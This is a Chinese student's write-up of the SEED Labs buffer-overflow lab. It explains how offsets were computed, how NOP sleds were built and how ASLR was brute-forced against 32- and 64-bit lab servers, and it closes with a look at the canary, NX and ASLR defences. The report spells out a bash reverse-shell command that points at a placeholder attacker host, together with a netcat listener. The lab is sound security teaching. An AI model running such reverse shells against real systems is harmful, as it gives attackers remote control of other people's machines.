seedlabs缓冲区溢出实验报告

分享学习经验存在问题希望大佬答疑指正如果图片看不了可以点这个链接看链接中的版本https://share.note.sx/zfs2vh0i#8oq951VpgKoRLwOys2sgP/5PKZY2YXjrvZ/2FYCzF81.概述缓冲区溢出漏洞原理:程序向固定大小的缓冲区中写入超过其容量的数据导致相连内存区的数据被覆盖![[47bbbf33_1770250240652939991.png]]缓冲区溢出攻击目的:将恶意代码注入目标程序使该代码能够在目标程序的权限下执行漏洞利用条程序层面存在用户可控输入文件读取命令行参数读取网络数据等使用不安全的函数strcpystrcatsprintfgets等不检查边界的函数未校验输入长度缺少strlen或strncpy缓冲区大小固定栈上分配的定长数组内存布局层面栈结构可预测返回地址函数参数局部变量等在栈上的相对位置固定可覆盖关键数据溢出数据能够达到并覆盖返回地址或函数指针环境条件无栈保护未启用StackCanary栈可执行未启用NX/DEP地址可预测未启用ASLR2.实验环境搭建关闭地址随机化防御措施sudo /sbin/sysctl -w kernel.randomize_va_space0对应漏洞利用条件中的环境条件1完成漏洞程序的编译和安装输入make指令执行Makefile文件中的编译指令完成对存在缓冲区漏洞的c程序stack.c的编译gcc -DBUF_SIZE$(L1) -DSHOW_FP $(FLAGS) $(FLAGS_32) -o $ stack.c![[Pasted image 20260402091110.png]]-DBUF_SIZE:预定义的宏处理将程序中的BUF_SIZE都指定为环境变量L1的值-DSHOW_FP:预处理的宏定义-o $:指定输出文件的名称, $是Makefile的自动变量代表目标文件的名称$(FLAGS):引用Makefile中定义的变量FLAGS通常包含通用设置这里被定义为 -z execstac -fno-stack-protector-z execstac告诉链接器程序的栈内存标记为可执行默认情况下操作系统会将栈设置为可读可写不可执行对应环境条件2-fno-stack-protector:禁用gcc的保护机制默认开启时编译器会实行Stack Canary栈保护机制对应环境条件3$(FLAGS_32):Makefile中定义的变量通常包含-m32这里被定义为-static -m32Makefile的文件中指定将stack.c程序分别编译成64位和32位通过-m32和-static参数实现[因为实验的容器中没有安装32位动态库所以对于32位编译需要-static参数生成静态链接的可执行文件]输入make install完成将可执行文件复制到bof-containers文件夹的操作以便于容器可以使用![[Pasted image 20260402090951.png]]服务器程序server-code文件夹中的server.c是服务器的主要入口点监听9090端口当接收到TCP连接时会调用stack程序并将TCP连接作为标准输入提供给stack程序从而使stack读取的标准输入实际上是TCP连接上的数据即这些数据由TCP客户端的用户提供从而实现输入的数据用户可控对应漏洞利用条件程序层面1容器设置和命令从官网下载本实验的Labsetup.zip,复制到seedubantu虚拟机解压缩首先通过docker-compose build(在这个实验别名dcbuild)建立容器镜像![[Pasted image 20260402105207.png]]然后docker-compose up(在这里别名dcup)启动容器![[Pasted image 20260402105125.png]]开启一个新的终端要在容器上运行命令先要获取容器里的shell所以先docker ps在这里别名dockps找出容器的id![[Pasted image 20260402105816.png]]然后docker exec -itid/bin/bash(在这里别名dockshid)![[Pasted image 20260402105858.png]]3.进行实验任务一熟悉Shellcode修改shellcod实现删除文件操作方法一:仅修改数据部分保持原shellcode代码数据部分行➌的字符串长度不变即可【因为在shellcode的二进制指令部分会根据数据部分字符串的长度计算偏移量从而确定在内存哪个位置设置参数数组以及确定字符串占位符在内存中哪个位置并将其修改为0。当二进制代码确定不变时偏移量就不能发生变化所以要保证数据部分字符串的长度不变】1. 修改数据部分对shellcode_64.py的修改将原参数/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd *修改为 /bin/ls -l; rm -f ./1.bin; echo over64; /bin/ls -l * *![[Pasted image 20260405144931.png]]对shellcode_32.py的修改将原参数/bin/ls -l; echo Hello 32; /bin/tail -n 4 /etc/passwd * ​ ​ ​修改为 /bin/ls -l; rm -f ./2.bin; echo over; /bin/ls -l *![[Pasted image 20260405144954.png]]2. 分别运行shellcode_64.py和shellcode_32.py然后编译call_shellcode.c生成a64.out和a32.out![[Pasted image 20260405145303.png]]3. 分别加权限并执行查看输出结果是否到达预期![[Pasted image 20260405145413.png]]![[Pasted image 20260405145516.png]]可以看到两文件都分别执行了给定的三条命令任务二:第一关服务器建立并运行容器镜像![[Pasted image 20260405150240.png]]连接服务器测试![[Pasted image 20260405234220.png]]![[Pasted image 20260405234203.png]]可以连通并且获得了目标服务器缓冲区的一些信息ebp的地址为0xffffd068buffer[0]的地址为0xffffcff8编写攻击代码并发起攻击计算偏移地址offset原理数据写入缓冲区时是从buffer[0]开始向高地址写入所以需要计算返回地址相对于buffer[0]的偏移量offset【即确定在payload中的哪个位置构造shellcode的地址】计算公式offsetebp4-buffer[0]ebp4是返回地址的位置buffer[0]是开始写入数据的位置offset0x74116根据offset构造payload![[Pasted image 20260405235435.png]]关键参数startshellcode从缓冲区的哪个位置开始ret覆盖原返回地址的地址【应该设为payload中shellcode的起始地址buffer[0]start】offset:偏移量之前已经计算过反向shell在攻击机上开启监听4444端口![[Pasted image 20260406000243.png]]执行该python脚本生成badfile【含有构造的payload】并将badfile中的内容通过网络连接发送给目标服务器从而利用目标服务器的缓冲区溢出漏洞执行我们指定的命令![[Pasted image 20260406000150.png]]攻击机通过反向shell成功获取目标服务器的控制权![[Pasted image 20260406000402.png]]任务三第二关服务器与目标服务器建立连接获取目标服务器的栈相关信息![[Pasted image 20260406002452.png]]![[Pasted image 20260406002436.png]]这次只获取了缓冲区的地址是0xffffcfa8,但不知道ebp的地址![[Pasted image 20260406003225.png]]难点无法计算出offset的精确值不确定函数返回地址的具体位置解决方案将shellcode的地址写满offset为100-220的位置因为缓冲区大小在[100-200]这个范围内那么offset的取值就是在[104-204]这个范围内将shellcode的地址写满offset为100-220的位置可以确保无论缓冲区的大小为[100-200]间的哪个数值都能劫持函数的返回地址编写payload并发起攻击设置offset范围为100-220由于内存对齐的原因在 32 位程序中帧指针的值总是 4 的倍数所以在for循环中步长为4即可补全payload的关键参数![[Pasted image 20260406033605.png]]运行exploit.py生成含有攻击载荷的badfile将badfile中的payload通过网络连接输入到目标服务器缓冲区实现缓冲区溢出漏洞的利用![[Pasted image 20260406033636.png]]![[Pasted image 20260406033704.png]]反向shell先在攻击机上开启监听4444端口![[Pasted image 20260406033743.png]]然后将badfile中的payload通过网络连接输入到目标服务器缓冲区利用缓冲区溢出漏洞完成反向shell![[Pasted image 20260406033858.png]]![[Pasted image 20260406034015.png]]任务四第三关服务器这次的目标是64位程序尝试连接服务器以获取地址信息![[Pasted image 20260406040755.png]]可以看到ebp0x00007fffffffdfa0buffer[0]0x00007fffffffded0难点虽然 x64 架构支持 64 位地址空间但目前只允许从 0x00 到 0x00007FFFFFFFFFFF 的地址这意味着地址最高两位一直都是0也就是说payload中的地址一定会出现零。当通过strcpy函数将payload复制到缓冲区时就会出现问题strcpy函数遇到零就会停止复制从而导致复制到缓冲区的payload不完整解决方案我一开始想到的是既然64位程序中所有地址的高两字节都是0那么在payload中的ret地址只编写低六字节让ret只覆盖函数返回地址的低六字节高两字节保持不变反正都是0。但是用这种payload发起攻击并无法获得shell遂放弃既然strcpy遇到0会停止复制那么也就是说strcpy读取了ret的第六字节后发现第七字节是0就停止了复制也就是说如果此时关键数据shellcode已经复制完了那么即使strcpy提前停止复制也不会影响攻击所以只需要将shellcode的位置放在buffer[0]与函数返回地址之间的区域即可![[Pasted image 20260406050338.png]]构造payload并发起攻击构造64位payload关键点shellcode的位置在函数返回地址之前计算offset216ret我设为了buffer[0],因为buffer[0]到shellcode起始位置全填充为NOP指令所以当跳转到NOP指令时cpu什么都不做继续读取下一条指令直到遇到可执行的shellcode![[Pasted image 20260406051058.png]]运行exploit.py生成含有攻击载荷的badfile将badfile中的payload通过网络连接输入到目标服务器缓冲区实现缓冲区溢出漏洞的利用![[Pasted image 20260406050848.png]]反向shell先在攻击机上开启监听4444端口![[Pasted image 20260406033743.png]]然后将badfile中的payload通过网络连接输入到目标服务器缓冲区利用缓冲区溢出漏洞完成反向shell![[Pasted image 20260406051016.png]]任务五第四关服务器![[Pasted image 20260406051831.png]]ebp0x00007fffffffdfa0buffer[0]0x00007fffffffdf40解决方案通过计算发现缓冲区大小很小而且64位程序的payload长度会比32位长如果将shellcode放在函数返回地址之前低地址处那么需要将shellcode的长度控制的非常短不可行。要想理解这关的完整解题思路需要从漏洞程序的源码出发理解程序执行的逻辑bof函数就是缓冲区漏洞所在![[Pasted image 20260406150436.png]]使用了没有边界检查的函数str将main函数中str数组中的内容直接复制到缓冲区main函数定义了一个str数组并通过fread函数将标准输入的内容复制到str数组中然后再由bof函数中的strcpy函数将main函数str数组中的内容复制到bof函数的缓冲区strcpy函数遇到空字符\0就停止fread函数遇到空字符\0不会停止这样看来我们的解决方案就是将shellcode放在函数返回地址之后高地址处此时虽然不用考虑shellcode长度问题但是需要考虑strcpy复制时的零字节截断问题当strcpy复制到ret的高两字节0字节处复制就会停止这导致shellcode没能被复制到bof函数的缓冲区中还留在main函数的str数组中这时需要通过预测shellcode在main函数栈帧中的位置来设置ret的值从而让函数返回地址被覆盖为shellcode在main函数栈帧中的位置从而跳转到那里去执行shellcode指令从而完成攻击难点该程序的dummy_function函数通过设置了一个1000字节的缓冲区然后在该函数中调用bof函数从而拉大了main函数和bof函数栈帧的距离![[Pasted image 20260406151417.png]]1. 如果main函数直接调用bof那么两函数栈帧的距离就很近非常容易预测shellcode在main函数中的位置从而实现攻击![[Pasted image 20260406152029.png]]2. 但是通过一个缓冲区很大的函数嵌套调用bof函数会使得main函数和bof函数的栈帧相隔很远从而增大了预测shellcode位置的难度![[Pasted image 20260406151251.png]]构造payload并发起攻击关键参数ret起始设为ebp的值然后步长为40以遍历bof函数栈底到main函数栈帧的所有地址因为不知道shellcode的具体位置所以只能遍历所有可能不过可以构造较长的NOP滑梯来减少遍历次数ret跳转的步长要小于NOP的长度![[Pasted image 20260406163910.png]]start:shellcode在payload中的起始位置尽量靠后留出大量空间填充NOP指令NOP长度517-offset-lenshellcode大约在200左右肯定大于40shellcode前的NOP滑梯越长遍历地址时的步长就可以长一点从而减少遍历次数offset确定值ebp8-buffer[0]104编写python脚本![[Pasted image 20260406164757.png]]运行![[Pasted image 20260406164858.png]]反向shell当exploit.py程序卡住了就说明反向shel已经建立攻击成功![[Pasted image 20260406164645.png]]到攻击机中检查一下确实已经获得目标服务器的控制权![[Pasted image 20260406164659.png]]任务六实验地址随机化开启ASLRsudo /sbin/sysctl -w kernel.randomize_va_space2![[Pasted image 20260406094816.png]]服务器关卡一和关卡三的服务器多发几次连接观察返回的栈地址信息发现每次返回地ebp和buffer[0]都不同但是经过计算每次的offset相同32位程序![[Pasted image 20260406095238.png]]该32位程序栈地址变化但高位都是0xff固定地位都是8固定只有中间字节发生变化。转换成二进制比较一下具体是中间的几位发生变化111111111 0010100110000100111 1000111111111 1100010110100010000 1000111111111 1110100000101111111 1000111111111 1101100100001110010 1000发现变化的只有中间19位64位程序![[Pasted image 20260406100014.png]]该64位程序栈地址变化比特数比32位程序多多了很难击中目标难点开启ASLR后每次连接内存布局都会发生变化攻击者难以预测关键地址如retsystem函数地址解决方案虽然栈地址在变化但32位程序栈地址只有中间19位比特在变化可以通过反复运行暴力攻击尝试所以都可能从而击中目标暴力攻击脚本![[Pasted image 20260406105752.png]]核心思想不改变payload中的ret通过重复向目标服务器发起攻击目标服务器栈地址不断变化只要攻击数量足够多总有一次栈中的函数返回地址会刚好变化为我们payload中的ret此时就可以攻击成功构造payload![[Pasted image 20260406111911.png]]经过计算offset是不变的一直都是116ret的值我就设为了第一次连接时的buffer[0]的地址运行该python脚本生成badfile运行暴力攻击脚本重复给目标服务器发起攻击![[Pasted image 20260406112447.png]]![[Pasted image 20260406112231.png]]可以看到差不多5分钟左右就完成了攻击刚刚的暴力攻击脚本是官方给出的即使攻击成功也不会自动停止需要手动停止脚本这不方便我们查看具体是什么时候完成的攻击所以可以对该脚本进行优化通过本实验可以直观感受到ASLR防御机制对于防范缓冲区溢出漏洞的作用以及在不同位数操作系统中安全性的差异任务七实验其他防护措施a. 启用StackGuard保护机制1. 修改Makefile文件![[Pasted image 20260406113634.png]]2. 删除stack-L1后重新编译stack.c![[Pasted image 20260406114014.png]]![[Pasted image 20260406114059.png]]3. 手动构造一个badfilepython3 -c “print(‘A’*500)” …/attack-code/badfile-no![[Pasted image 20260406114625.png]]4.执行stack-L1程序并手动输入刚刚的badfile-no并观察执行结果![[Pasted image 20260406114827.png]]发现输出“栈破坏检测“的提示证明stackguard保护机制生效了b.启用不可执行栈保护机制重新编译call-shellcode.c不使用-z execstack,使栈不可执行![[Pasted image 20260406120402.png]]运行shellcode_32.py生成32位的payload文件![[Pasted image 20260406120523.png]]运行刚刚编译生成的栈不可执行缓冲区溢出漏洞程序a32.out![[Pasted image 20260406120702.png]]产生段错误报错提示并终止、退出程序开启栈不可执行保护机制后尝试执行栈上的shellcode名词引入概念剖析EIP和函数返回地址原本程序调用strcpy时会在栈中压入一个函数的返回地址没有发送缓冲区溢出的时候执行完strcpy指令时EIP中的地址会变成函数的返回地址但是发生缓冲区溢出时原来存放函数返回地址的地方被覆盖执行完strcpy指令后EIP中存放的地址就被劫持变成了原来存放函数返回地址的内存区域的数据从而可以让程序下一步跳转到我们指定位置执行恶意代码StackCanary栈保护机制通过在缓冲区和控制数据如返回地址EBP之间插入随机值函数返回前会检查这个值如果被修改就会使程序崩溃从而防止攻击者劫持EIP**无栈保护机制就会导致攻击者可以随意覆盖栈上的返回地址攻击者不需要猜测或绕过任何随机值通过直接覆盖返回值地址就可以完成控制流劫持NX/DEP将内存区域标记为“仅数据”或“仅代码”栈上通常是仅数据从而使cpu不会执行栈上的任何指令**无NX/DEP机制保护会导致栈上的数据会被cpu当作代码执行。攻击者可以在栈上那个注入shellcode然后让EIP指向shellcode的起始地址从而执行任意代码ASRL地址空间布局随机化在每一次程序运行时都随机化内存地址的技术使攻击者无法知道shellcode的具体位置和返回地址的具体位置从而无法精确劫持EIP**未启用ASLR程序的内存分布是固定不变的攻击者可以通过调试工具GDB确定shellcode在栈上的具体地址系统库函数的地址返回地址偏移量从而使攻击者可以精准构造输入的数据确保EIP被劫持到准确的位置EBP栈底指针当前帧基址帮助函数在栈上定位自己的局部变量和参数为什么不用栈指针ESP因为ESP会随POPPUSH等指令变化直接用ESP访问会非常麻烦EBP在函数入口处被设置为固定的值通常是进入函数时ESP的值之后就保持不变从而方便函数访问参数和局部变量。在栈溢出攻击中EBP也是覆盖目标的一部分NOP指令No Operationcpu执行到NOP指令时什么也不做继续执行下一条指令在构造payload时可以用来构造较长的NOP滑梯来减少遍历地址的次数栈栈帧栈基址ebp概念辨析栈本质内存中一块连续的用来存放数据的区域特点先进后出从高地址向低地址方向生长在一个单线程程序中只有一个栈栈帧本质栈上被划分成的一块块独立的内存区域每个函数都有自己的栈帧作用用来存放函数的参数局部变量返回地址保存调用函数的栈基址栈帧基址本质一个具体的内存地址数值作用标记当前栈帧的起始位置用来确定当前栈帧中存放的数据的位置ebp本质cpu内部的一个寄存器作用用来存放当前栈基址栈内存布局视图![[Pasted image 20260405202924.png]]一些疑问已解决为什么开启NX/DEP机制之后一定要使用ROP技术不能把通过覆盖原函数返回地址劫持EIP使其指向栈外的恶意代码吗直接在Labsetup目录下执行make指令会报错![[Pasted image 20260402092110.png]]因为执行make指令时默认查找Makefile文件make会在当前工作目录下按顺序查找名为GUNmakefilemakefile或Makefile的文件找到文件后读取文件中的编译规则变量定义依赖关系等然后根据命令行参数执行对应目标也可以通过-f参数指定Makefile文件的路径遇到的问题网络不通无法建立容器镜像![[Pasted image 20260402101437.png|668]]更换镜像源之后就可以拉取成功![[Pasted image 20260402103400.png]]![[Pasted image 20260402103327.png]]完成实验必备知识点反向shell详解本质将stdinstdoutstderr全都重定向到网络连接使攻击者能够远程控制受害者机器关键命令拆解攻击者端监听nc -lvnp 9090nc:netcatl:开启监听模式n:不解析域名直接用ipv:详细模式显示连接信息p:指定监听端口受害者端主动发起连接/bin/bash -i /dev/tcp/攻击机ip/监听端口 01 21/bin/bash -i:开启一个交互式shell“ /dev/tcp/攻击机ip/监听端口”:将bash的标准输出重定向到tcp连接01:将bash的标准输入重定向到文件描述符1【即标准输出现在的位置TCP连接】21:将bash的错误输出重定向到tcp连接这样tcp连接建立后受害者机器新bash的stdinstdoutstderr全都由攻击者控制文件描述符重定向详解stdin:标准输入0stdout:标准输出1stderr:错误输出2重定向步骤分解1.【以下的输入输出全都指的是开启的新交互式bash的】 原始状态stdin0键盘stdout1屏幕stderr2屏幕| /dev/tcp/ip/监听端口|stdout重定向到tcp连接stdin(0)键盘stdout(1)网络连接stderr(2)屏幕|0 1|stdin继承stdout重定向到tcp连接stdin(0)网络连接stdout(1)网络连接stderr(2)屏幕|21|stderr继承stdout重定向到tcp连接stdin(0)键盘stdout(1)网络连接stderr(2)网络连接命令语法详解/dev/tcp/host/port特殊设备文件bash内置无需真实文件作用建立tcp连接到指定主机端口格式/dev/tcp/ip/端口号重定向操作符覆盖重定向重定向到文件描述符从文件描述符复制![[Pasted image 20260405160425.png]]执行时的流程时序图![[Pasted image 20260405160755.png]]关键要点提炼受害者主动发起连接绕过防火墙的入站规则交互式shell 【-i】三重重定向 【stdoutstdinstderr都要重定向到网络连接】文件描述符继承顺序 【先重定向标准输出再将标准输入和错误输出都重定向到文件描述符1】攻击者开启端口监听 【-lp】奇怪的有趣的现象在第一关中官网的提示是只要不重启容器缓冲区地址和栈帧基址的值是不变的但是我在不重启容器的情况下连接了三次服务器获得了三次的数值都不同![[Pasted image 20260405221102.png]]不过根据计算虽然三次两个数的值各不相同但每次计算得出的offset值都是相同的0x74所以不影响构造payload解答是因为在关闭地址随机化防御措施之后我又重启过一次容器所以容器重启后该防御措施还在当我重新关闭之后地址就不发生改变了![[Pasted image 20260406035313.png]]第二关中当我的offset设为104-204时攻击不成功 但设为100-220时攻击就成功了可能是由于内存对齐原因导致offset会比理论值大几个字节因此我认为在编写payload时为了保守起见可以适当扩大offset的范围非常神奇在刚开始攻击时offset设为104-204时攻击是不成功的但是后来复盘时又可以攻击成功